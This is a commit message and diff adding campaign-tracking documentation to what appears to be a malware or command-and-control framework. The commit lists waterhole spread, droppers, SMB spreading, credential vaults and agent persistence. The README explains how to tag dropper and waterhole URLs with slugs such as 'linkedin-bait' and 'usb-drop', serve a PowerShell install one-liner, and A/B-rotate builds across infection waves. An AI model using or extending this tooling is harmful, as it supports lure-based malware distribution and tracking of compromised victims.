feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

spread-kit-web-publisher/campaigns/README.md

@@ -0,0 +1,20 @@
+# Campaign tracking (`?c=`)
+
+Append `?c=your-campaign-slug` to any waterhole or server dropper URL. Hits are logged server-side; agents that install via the script inherit `AETHER_CAMPAIGN` and report it on first connect.
+
+## Examples
+
+| Link | Use |
+|------|-----|
+| `https://yoursite.example/page?c=linkedin-bait` | Static page with `index.html` reading `location.search` |
+| `{{SERVER_URL}}/get?c=usb-drop` | Direct binary fetch |
+| `{{SERVER_URL}}/install.ps1?c=vps-curl` | PowerShell one-liner |
+| `{{SERVER_URL}}/get?pin=BUILD_ID&c=ab-test-b` | A/B pinned build + campaign |
+
+## A/B rotation
+
+Pin build **A** in Builds → copy `?pin=<id-a>&c=wave-a`. Pin build **B** for the next wave. Emberwake tab builds these links for you.
+
+## Slug rules
+
+Alphanumeric, dash, underscore, dot — max 64 chars. Avoid spaces.